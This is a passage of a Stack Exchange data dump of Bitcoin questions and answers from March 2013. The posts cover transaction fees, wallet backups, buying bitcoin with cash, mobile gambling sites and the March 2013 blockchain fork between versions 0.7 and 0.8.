  <row Id="8295" PostTypeId="1" AcceptedAnswerId="8304" CreationDate="2013-03-11T06:09:55.273" Score="2" ViewCount="321" Body="&lt;p&gt;Is there anything within the structure of bitcoin exchanges to prevent bitcoin price distortion with multiple accounts controlled by one person?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen stocks with similar levels of liquidity be manipulated in price with about five accounts. Each buying and selling to and from each other, to get the price to the most favorable place so that one account with much more capital can take advantage of the price distortion, and buy or sell into the new optimism (more volume when price is high because of new market participants). You can read great detail about this in SEC emergency injunction orders, as they go after people that do this (after the fact though). Some stock promoters are the main perpetrators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage with bitcoins is that it is not regulated by the Securities Act, with the transparency about how to do this detailed by judicial remedies against those that were under the jurisdiction of the Securities Act. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that there are so many bitcoin exchanges, would anything such as the technical structure of bitcoin, the exchanges or bitcoin specific market forces prevent someone from doing this with a series of trading accounts, especially across the more illiquid exchanges?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="2306" LastEditDate="2013-03-11T06:43:28.263" LastActivityDate="2013-03-11T10:00:07.420" Title="How can we prevent distortion of the bitcoin exchange rate?" Tags="|exchanges|trading|exchange-rate|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8299" PostTypeId="1" AcceptedAnswerId="8303" CreationDate="2013-03-11T07:37:40.543" Score="4" ViewCount="3084" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned that the transaction fees is given by sender to bitcoin miners to ensure that this transaction be confirmed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I notice that, in most exchange websites or clients, the default transaction fee is 0.0005BTC, so Could It be possible that the transaction fee will be guide by the exchange websites or popular client software providers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because if a person don't accept the transaction fee in main stream, his transaction will probably not be accepted and appended to the block.&lt;/p&gt;&#xA;" OwnerUserId="3176" LastActivityDate="2013-05-10T09:36:17.510" Title="How does the bitcoin transaction fee be calculated? And who guide this?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8303" PostTypeId="2" ParentId="8299" CreationDate="2013-03-11T09:56:24.050" Score="1" Body="&lt;p&gt;When creating a transaction the Bitcoin-Qt client will determine the properties of a transaction and if the transaction is likely to need feeds the client will insist that a fee be added.   The rate is 0.0005 BTC per 1K of data consumed by the transaction.  If the transaction size is below 10K though and meets other criteria no fee is required:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other clients may not have any requirement when sending.  For instance, the Blockchain.info/wallet allows &quot;Custom&quot; send in which the fee is entered by the sender.  Zero is a valid fee amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It really doesn't matter what the client or the user chooses, what matters are the level of fees the miner's require.   If few miners will accept a transaction because the fee is too low, the transaction will simply just take longer to confirm, eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is a competitive market for transactions.  A miner can try to boycott transactions in which the fee is too low however the next miner might be willing to include the transaction and in that instance the boycotting miner is simply passing up the opportunity to earn the fees from that transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the market consisting of miners looking for revenues from transaction fees guide the rate that is required for a transaction to get mined in a timely manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is likely the amount for the recommended fee in the Bitcoin-Qt client will be decreased at some point if 0.0005 BTC ends up becoming expensive (currently less than three U.S. cents).&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-05-10T09:36:17.510" LastActivityDate="2013-05-10T09:36:17.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8304" PostTypeId="2" ParentId="8295" CreationDate="2013-03-11T10:00:07.420" Score="3" Body="&lt;p&gt;There is no single price for a Bitcoin.  There are prices at various exchange markets at any point in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since some exchanges have no requirement that every account has identity verified then there is no way for the exchange to know an account is controlled by another party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today's exchanges have no mechnism to prevent what you describe.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-11T10:00:07.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8307" PostTypeId="2" ParentId="8262" CreationDate="2013-03-11T10:12:53.080" Score="4" Body="&lt;p&gt;Your wallet.dat hold the keys.  If the client is intermittently seeing errors you will not want to continue using it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You essentially want to create a new, empty wallet and then import the keys into the new wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach is to use Blockchain.info/wallet which can &lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow&quot;&gt;import the wallet.dat&lt;/a&gt;, and then you can export the keys from their web interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, then you can try running the client (with no blockchain data files and no network connectivity) and from the Debug console export (dump) the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach is to use joric's pywallet tool to export the keys.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-11T10:12:53.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8309" PostTypeId="1" AcceptedAnswerId="8310" CreationDate="2013-03-11T10:34:58.350" Score="3" ViewCount="2265" Body="&lt;p&gt;Are there an Bitcoin-based gambling sites or apps that work on a mobile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the sites seem to be assuming the player is on a full size display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the service isn't considered &quot;provably fair&quot; then I'm not interested.  An example of a provably fair game is one where the host gives the hash of the secret, then a client seed is generated, then after play at some point the secret that was used is revealed.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-03-25T21:22:23.817" Title="What provably fair Bitcoin gambling sites work well on a mobile?" Tags="|mobile|gambling|gaming|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8310" PostTypeId="2" ParentId="8309" CreationDate="2013-03-11T10:34:58.350" Score="1" Body="&lt;p&gt;Provably fair means the player can prove the operator didn't cheat.  With website-based provably fair systems, the generation of a random number and/or client seed is easily to see and monitor.  Unless a mobile app is open source, this same capability is not available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a provably fair website that provides an app doesn't mean the app provides provably fair online gaming as well.   An open source app could be provably fair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You won't find any of (or at least not many of) these apps on the Google Play store since they are online gambling that is a prohibited app on their service.  But the apps can still be installed from external sources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Seals With Club poker has a mobile app.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin Video Casino has &lt;a href=&quot;https://bitcoinvideocasino.com/android&quot; rel=&quot;nofollow&quot;&gt;an Android app&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-09-23T18:38:31.517" LastActivityDate="2013-09-23T18:38:31.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8311" PostTypeId="1" CreationDate="2013-03-11T11:20:44.620" Score="2" ViewCount="222" Body="&lt;p&gt;A week ago Kim Dotcom posted that a Bitcoin Credit Card would be something that he would be keen to support. Apart from Bitcurex, which is a different system and slightly lacking in credability and trustworthiness, I'm interested in a card which works like a credit card but is intrinsically integrated with the BTC system.&lt;br /&gt;&#xA;Due to the nature of Bitcoin, would a credit card-esque form of payment actually be viable?&#xA;&lt;br /&gt;&amp;nbsp;If so, how?&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="5406" LastEditDate="2017-12-23T19:03:56.023" LastActivityDate="2017-12-23T19:03:56.023" Title="Is Kim Dotcom's &quot;Megacard&quot; a viable possibility for bitcoin?" Tags="|bitcoin-credit-card|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8312" PostTypeId="2" ParentId="8311" CreationDate="2013-03-11T12:09:56.137" Score="2" Body="&lt;p&gt;This type of product has been tossed around since at least May 2011 when MagicalTux was the new owner of Mt. Gox.  They no longer discuss it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitInstant &quot;leaked&quot; such a Mastercard in Fall 2012.  They claim it is &quot;seeing progress&quot; but there's nothing yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are similar cards.  Peter Schiff's Euro Pacific Bank offers a &lt;a href=&quot;http://europacbank.com/our-products/metals-backed-account/&quot; rel=&quot;nofollow&quot;&gt;gold-backed debit card&lt;/a&gt; where gold funds are sold when using the debit card to make purchases using fiat.  But that is not available to customers from the U.S.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-11T12:09:56.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8317" PostTypeId="2" ParentId="114" CreationDate="2013-03-11T22:03:19.577" Score="5" Body="&lt;p&gt;A Satoshi is a one hundred millionth of a Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are delimited to eight decimal places so even if Bitcoins are worth $1,000,000 each, you can still do penny transactions.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="70666" LastEditDate="2017-12-24T04:55:50.103" LastActivityDate="2017-12-24T04:55:50.103" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8318" PostTypeId="1" CreationDate="2013-03-11T23:45:05.993" Score="6" ViewCount="13468" Body="&lt;p&gt;I'm an 18-year-old guy who wants to get some bitcoins but I don't have a Bank account yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at some websites, such as &lt;a href=&quot;http://bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;bitstamp.net&lt;/a&gt; or &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; but they seem like they are having problems (each one with its own problems).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a fast way of converting cash into Bitcoins or cash into PayPal into bitcoins? (I don't know wich method can be used to get bitcoins, I'm really new to this.)&lt;/p&gt;&#xA;" OwnerUserId="3295" LastEditorUserId="51948" LastEditDate="2017-12-24T03:19:46.247" LastActivityDate="2017-12-24T03:19:46.247" Title="How to get Bitcoins without having a bank account?" Tags="|buy-bitcoins|cash|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8319" PostTypeId="2" ParentId="8318" CreationDate="2013-03-11T23:51:08.760" Score="2" Body="&lt;p&gt;Read up about &lt;a href=&quot;https://en.wikipedia.org/wiki/Chargeback&quot; rel=&quot;nofollow&quot;&gt;chargeback&lt;/a&gt;, this is unfortunately a huge problem when you exchange from bitcoins to 'PayPal dollars' and other online currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can buy bitcoins with cash: &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-11T23:51:08.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8320" PostTypeId="1" AcceptedAnswerId="8349" CreationDate="2013-03-12T00:15:06.317" Score="0" ViewCount="5133" Body="&lt;p&gt;Is &lt;code&gt;%APPDATA%\Roaming\Bitcoin\wallet.dat&lt;/code&gt; the only file I need to backup my wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard about backing up every ~50-100 transactions is this correct? I thought that with the wallet.dat file, I have my private key, which is all that I need to restore my bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="2306" LastEditDate="2013-03-12T04:12:19.250" LastActivityDate="2013-03-12T14:41:30.277" Title="What files do I need for backing up my wallet?" Tags="|transactions|wallet|security|wallet.dat|" AnswerCount="1" CommentCount="0" ClosedDate="2013-03-18T17:07:55.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="8321" PostTypeId="2" ParentId="8318" CreationDate="2013-03-12T00:27:40.437" Score="2" Body="&lt;p&gt;There are cash deposit methods for those in the U.S., Canada, Australia, New Zealand, India, Russia, Brazil, Singapore, Malaysia, Nepal, Bangladesh, and Philippines.  So you may have that option.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can even send cash in the mail.  BitcoinNordic in Denmark accepts cash (USD, EUR, GPB, and more) in the mail, as do a handful of others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meeting up with someone and doing an in-person cash trade might work as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.LocalBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.LocalBitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-12T00:27:40.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8324" PostTypeId="1" AcceptedAnswerId="8326" CreationDate="2013-03-12T01:55:18.153" Score="9" ViewCount="281" Body="&lt;p&gt;Given the &lt;a href=&quot;http://pastebin.com/sGYnpkED&quot; rel=&quot;noreferrer&quot;&gt;&amp;lt;0.8 bug&lt;/a&gt; and subsequent fork happened because of a particularly large block, does this mean that large blocks can not be used until the large majority of the community switches to 0.8?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also why was the solution to push the 0.7 chain instead of 0.8?&lt;/p&gt;&#xA;" OwnerUserId="2630" LastEditorUserId="78" LastEditDate="2013-03-12T04:56:39.140" LastActivityDate="2013-03-12T04:56:39.140" Title="Given the recent &lt;0.8 bug, when can we safely have larger block sizes?" Tags="|blockchain-fork|march-2013-fork|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8325" PostTypeId="1" AcceptedAnswerId="8348" CreationDate="2013-03-12T02:11:17.053" Score="0" ViewCount="3867" Body="&lt;p&gt;Here is what I have estimates on: There exists hardware capable of 60 gigahashes per second. Over the next few months, X amount of these will be mining bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty is recalculated every 2016 blocks.  X * 60,000 megahashes = Y terahashes to total mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At current difficulty it will take a machine calculating at 60 gigahashes about 3.6 days to solve 1 block. With just 700 of these machines each solving 1 block every 3.6 days, difficulty will be at Z within a week, where difficulty is then recalculated to even out the time period of solving blocks (if I understand correctly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variable I have is about what the implications are of the algorithm for difficulty. Is it intended for there to only be a finite number of blocks solved in a certain timeframe?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-10-20T18:19:35.467" Title="Possible to estimate next difficulty based on terahashes?" Tags="|client|block|difficulty|" AnswerCount="3" CommentCount="0" ClosedDate="2013-10-31T08:41:06.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="8326" PostTypeId="2" ParentId="8324" CreationDate="2013-03-12T02:11:18.070" Score="3" Body="&lt;p&gt;I don't think anyone known exactly what the problem is, yet (note to future readers: the flaw was discovered just few moments ago).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this on the #bitcoin-dev IRC channel:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sipa:  Diablo-D3: just saying that the breaking block had 1700&#xA;  transactions, but affected over 5000 block index entries&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's probably is a problem with &quot;Berkeley DB&quot; (0.8 use LevelDB and this is &lt;em&gt;could&lt;/em&gt; be why 0.8 isn't affected).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Also why was the solution to push the 0.7 chain instead of 0.8?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The 0.7 chain is accepted by both 0.7 and 0.8 clients/miners. The 0.8 chain is only accepted by 0.8 clients/miners. So to avoid creating a (larger) fork, most 0.8 mining pools have downgraded to 0.7&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-12T02:11:18.070" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8327" PostTypeId="1" AcceptedAnswerId="8328" CreationDate="2013-03-12T02:22:45.153" Score="13" ViewCount="763" Body="&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/bitcoin&quot;&gt;Reddit/r/bitcoin&lt;/a&gt; is flooding with news that the Bitcoin blockchain has forked, in that versions 0.7 and 0.8 are accepting different blockchains. What does this mean for the users?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="78" LastEditDate="2013-03-12T04:57:19.297" LastActivityDate="2013-03-12T04:57:19.297" Title="What should I do about the March 12th 2013 blockchain fork?" Tags="|blockchain|blockchain-fork|news-coverage|march-2013-fork|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8328" PostTypeId="2" ParentId="8327" CreationDate="2013-03-12T02:22:45.153" Score="8" Body="&lt;p&gt;Gavin Andreson has tweeted this:&#xA;&lt;a href=&quot;https://twitter.com/gavinandresen/status/311290936527298561&quot;&gt;https://twitter.com/gavinandresen/status/311290936527298561&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcointalk post linked by Gavin is a post by Peter Wuille, which says this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Hello everyone,&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;there is an emergency right now: the block chain has split between 0.7+earlier and 0.8 nodes. I'll explain the reasons in a minute, but this is what you need to know now:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;After a discussion on #bitcoin-dev, it seems trying to get everyone on the old chain again is the least risky solution.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;If you're a miner, please do not mine on 0.8 code. Stop, or switch back to 0.7. BTCGuild is switching to 0.7, so the old chain will get a majority hash rate soon.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;If you're a merchant: please stop processing transactions until the chains converge.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;If you're on 0.7 or older, the client will likely tell you that you need to upgrade. Do not follow this advise - the warning should go away as soon as the old chain catches up.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;If you are not a merchant or a miner, don't worry.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/chainfork.html&quot;&gt;An announcement has also been made at bitcoin.org&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-03-12T04:08:28.783" LastActivityDate="2013-03-12T04:08:28.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8329" PostTypeId="2" ParentId="8327" CreationDate="2013-03-12T03:07:16.543" Score="0" Body="&lt;p&gt;If you are a user, Don't do anything, including transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a miner, Stop mining on 0.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a merchant, Don't do anything, including transactions.&lt;/p&gt;&#xA;" OwnerUserId="3300" LastActivityDate="2013-03-12T03:07:16.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8330" PostTypeId="2" ParentId="8324" CreationDate="2013-03-12T03:24:28.113" Score="0" Body="&lt;p&gt;The solutions for next step might be works, ex 0.8.1, might be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First limit the block size generate by miners, with the same size of 0.7's DB, other are the same with 0.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all client are upgrade to 0.8.1, then upgrade to 0.8.2 with the feature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;remove the limitation of the block size 0.8.1's miner can generate, and the 0.8.1's DB can accept the larger block size, require that there is almost no 0.7 client now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My opinion about the limitation is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The block size miners generating should separate from which clients accepts(sync).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, The upgrade for miners should also separate from common clients.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3176" LastEditorUserId="3176" LastEditDate="2013-03-12T04:14:28.713" LastActivityDate="2013-03-12T04:14:28.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8331" PostTypeId="2" ParentId="8318" CreationDate="2013-03-12T04:40:38.483" Score="0" Body="&lt;p&gt;You can set up an account at &lt;a href=&quot;http://www.bitfloor.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitfloor.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have an option there to fund your account directly, with CASH deposited IN PERSON at any Bank of America branch in the United States.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once deposited, funds are typically available within 30 to 60 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used their cash-dep service twice and found it reliable. Follow the clear, simple instructions you receive carefully. (Get the amount / account numbers right!)&lt;/p&gt;&#xA;" OwnerUserId="2960" LastActivityDate="2013-03-12T04:40:38.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8332" PostTypeId="1" AcceptedAnswerId="8333" CreationDate="2013-03-12T04:41:43.187" Score="4" ViewCount="217" Body="&lt;p&gt;I want a clear cut answer + references so they is no confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today March 12 2013, on which fork should miners mine, 0.7 or 0.8?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-03-12T04:56:24.537" LastActivityDate="2013-03-12T04:56:24.537" Title="In the blockchain split of March 2013, where should miners mine, 0.7 or 0.8?" Tags="|blockchain|blockchain-fork|march-2013-fork|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8333" PostTypeId="2" ParentId="8332" CreationDate="2013-03-12T04:49:51.073" Score="5" Body="&lt;p&gt;You should go to 0.7, despite the fact that this is the version containing the error. This choice was made because it should be much easier to get the few who upgraded to bleeding-edge 0.8 to downgrade than to get everyone to upgrade all at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=152030&quot;&gt;https://bitcointalk.org/index.php?topic=152030&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codinginmysleep.com/blockchain-all-forked-up/&quot;&gt;http://codinginmysleep.com/blockchain-all-forked-up/&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.org/chainfork.html&quot;&gt;http://bitcoin.org/chainfork.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-03-12T04:49:51.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8334" PostTypeId="1" AcceptedAnswerId="8339" CreationDate="2013-03-12T04:56:09.937" Score="7" ViewCount="558" Body="&lt;p&gt;When exactly (GMT) were these blocks mined?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-03-12T23:22:01.213" LastActivityDate="2013-03-13T23:00:09.043" Title="What block numbers &amp; hashes were discarded by the March 2013 blockchain fork?" Tags="|blockchain-fork|march-2013-fork|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8336" PostTypeId="2" ParentId="8334" CreationDate="2013-03-12T05:13:15.280" Score="-1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;225445 (Orphaned)&lt;/p&gt;&#xA;&lt;p&gt;225444 (Orphaned)&lt;/p&gt;&#xA;&lt;p&gt;225443 (Orphaned)&lt;/p&gt;&#xA;&lt;p&gt;225431 (Orphaned)&lt;/p&gt;&#xA;&lt;p&gt;225430 (Orphaned)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;225430  2013-03-11 23:39:09&lt;/p&gt;&#xA;" OwnerUserId="3291" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-03-12T05:13:15.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8337" PostTypeId="2" ParentId="3343" CreationDate="2013-03-12T05:19:19.043" Score="17" Body="&lt;p&gt;The &lt;a href=&quot;http://bitcoin.org/chainfork.html&quot;&gt;March 12, 2013 blockchain fork&lt;/a&gt; started with 225430 and so far has reached block 225461, so it is 31 blocks long.  Some of those were mined long after the fork supported by v0.7 clients had regained longest chain.  At the peak the fork which supported by v0.8 clients was at least a dozen blocks higher meaning transactions that had more than ten confirmations could then have been reverted to unconfirmed status (and if double spent, ignored as if the transaction had never been made.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-04-01T16:37:16.117" LastActivityDate="2013-04-01T16:37:16.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8338" PostTypeId="1" CreationDate="2013-03-12T05:50:11.363" Score="1" ViewCount="292" Body="&lt;p&gt;Why is bitcoin better than &lt;a href=&quot;https://www.dwolla.com/&quot; rel=&quot;nofollow&quot;&gt;Dwolla&lt;/a&gt; or Paypal?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="2306" LastEditDate="2013-03-12T06:41:23.760" LastActivityDate="2013-03-12T07:25:10.483" Title="Why is bitcoin better than other electronic banking, like Dwolla or Paypal?" Tags="|banks|dwolla|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8339" PostTypeId="2" ParentId="8334" CreationDate="2013-03-12T05:52:16.400" Score="5" Body="&lt;p&gt;The following blocks were abandoned (along with a few more along that chain as the quickly dwindling set of 0.8.0 miners plugs along) when the 0.7 blockchain caught up with the 0.8.0 blockchain at 2013-03-12 06:19:32.  Thankfully, you can see that the 0.8.0 chain has slowed down to just one block in the two hours after 03:28:41 UTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that, as I understand it, most transactions are showing up in both blockchains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://blockchain.info/blocks/1363065244022&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/blocks/1363065244022&lt;/a&gt;  (where the ones to abandoned were labeled &quot;Main Chain&quot; until the current &quot;Orphaned&quot; chain caught up, at which point the labels swapped)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I added 7 more blocks since the 0.8.0 chain was abandoned, up to 225461.  The rate of continued mining there is a bit less than one block per hour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;: As of another day later, there haven't been any more blocks in the orphaned chain.  There is only one block at height 225462 (&lt;a href=&quot;http://blockchain.info/block-height/225462&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockchain.info/block-height/225462&lt;/a&gt;) so the orphaned chain may end at &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3343/99&quot;&gt;a record&lt;/a&gt; 32 blocks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Height  Time (UTC)             Hash&#xA;&#xA;225461  2013-03-12 16:21:02  00000000000002d74c31d9c9f8e4768c0b51c3f145be07be7e77af0146144c30&#xA;225460  2013-03-12 15:05:56  00000000000002afb9088485b05a2b8a1dfa6b82e3e915fa0765879a05061461&#xA;225459  2013-03-12 14:36:39  000000000000036e459f26b1dc02683c9beeb061eedf18689995143354467245&#xA;225458  2013-03-12 12:18:23  00000000000000620d78c08bd345aa489b02a52c5f823f0324d3c42212577c24&#xA;225457  2013-03-12 09:48:00  0000000000000067fa40b890799ef9814e1e427abd5fc9f4751ffb3ef6512d14&#xA;225456  2013-03-12 07:59:29  000000000000031ce5f5c447dbe06ebd62f988c6718e1a17d14b9dcd8ff9605c&#xA;225455  2013-03-12 07:14:21  000000000000009d2dee89c7732b5bc912845d96a6bee38cab815949cfa60d23&#xA;225454  2013-03-12 05:17:11  00000000000000df96f272c3b1e9dd15272b55750966cbd239219b94756c73ec&#xA;225453  2013-03-12 03:28:41  000000000000031803e492a0103154d243c9945ef78dbdba42a1ecfdb5bc5dbb&#xA;225452  2013-03-12 03:05:29  